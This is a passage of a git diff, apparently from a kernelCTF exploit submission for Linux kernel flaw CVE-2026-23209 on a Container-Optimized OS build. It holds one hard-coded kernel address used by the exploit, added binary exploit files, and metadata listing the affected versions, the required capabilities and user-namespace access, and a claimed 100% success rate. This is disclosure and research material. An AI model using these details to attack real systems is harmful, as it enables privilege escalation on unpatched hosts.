0xffffffff8183d5dd +#define MY_SWITCH_TASK_NAMESPACES 0xffffffff811d3af0 diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/target.kxdb b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/target.kxdb new file mode 100644 index 000000000..3181c5ba3 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/target.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/tools.tar.gz b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/tools.tar.gz new file mode 100644 index 000000000..9f66c84f5 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/tools.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-23209_cos/metadata.json new file mode 100644 index 000000000..b0360e00c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23209_cos/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp444" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f8db6475a83649689c087a8f52486fcc53e627e9", + "cve": "CVE-2026-23209", + "affected_versions": [ + "4.9 - 6.1.162" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN", + "CAP_NET_RAW" + ], + "kernel_config": [ + "CONFIG_PACKET" + ] + } + }, + "exploits": { + "cos-113-18244.521.55": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-23209_cos/original.tar.gz new file mode 100644 index 000000000..03cab14ac Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23209_cos/original.tar.gz differ